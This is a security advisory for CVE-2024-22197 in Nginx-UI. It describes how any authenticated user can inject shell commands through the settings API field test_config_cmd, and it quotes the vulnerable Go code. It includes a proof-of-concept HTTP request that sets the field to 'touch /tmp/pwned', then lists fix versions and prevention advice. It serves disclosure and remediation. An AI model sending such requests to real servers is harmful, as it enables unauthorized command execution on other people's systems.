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GHSA-pxmr-q2x3-9x9m CVE-2024-22197 GO-2024-2464

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

High Go
Severity
7.7 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.54%
Chance of exploitation in the next 30 days. Higher than 74.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
Fix
1.9.10-0.20231219184941-827e76c46e63
Upgrade github.com/0xJacky/Nginx-UI to this version or later

Description

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Affected versions

Go

PackageVulnerableFixed in
github.com/0xJacky/Nginx-UI
< 1.9.10-0.20231219184941-827e76c46e63
1.9.10-0.20231219184941-827e76c46e63

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20231219184941-827e76c46e63

go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20231219184941-827e76c46e63 && go mod tidy

Severity breakdown

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Implementation: If possible, ensure that all external commands called from the program are statically created.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Operation: Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
  • System Configuration: Assign permissions that prevent the user from accessing/opening privileged files.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6773
Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-vc32-4gwf-77xp
Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools
High Also affects github.com/0xJacky/Nginx-UI
GHSA-wq4w-vwvq-q3x9
Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-jrq7-xrjx-pcfw
Nginx UI: Auto backup name allows path traversal outside validated storage path
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-5r62-gj48-897x
Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
High Also affects github.com/0xJacky/Nginx-UI
GHSA-9jww-cxg5-rj9m
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
High Also affects github.com/0xJacky/Nginx-UI
GHSA-76pm-mq2q-9gcr
Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-cf23-7qxj-xmhr
Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI

Credits: @jorgectf

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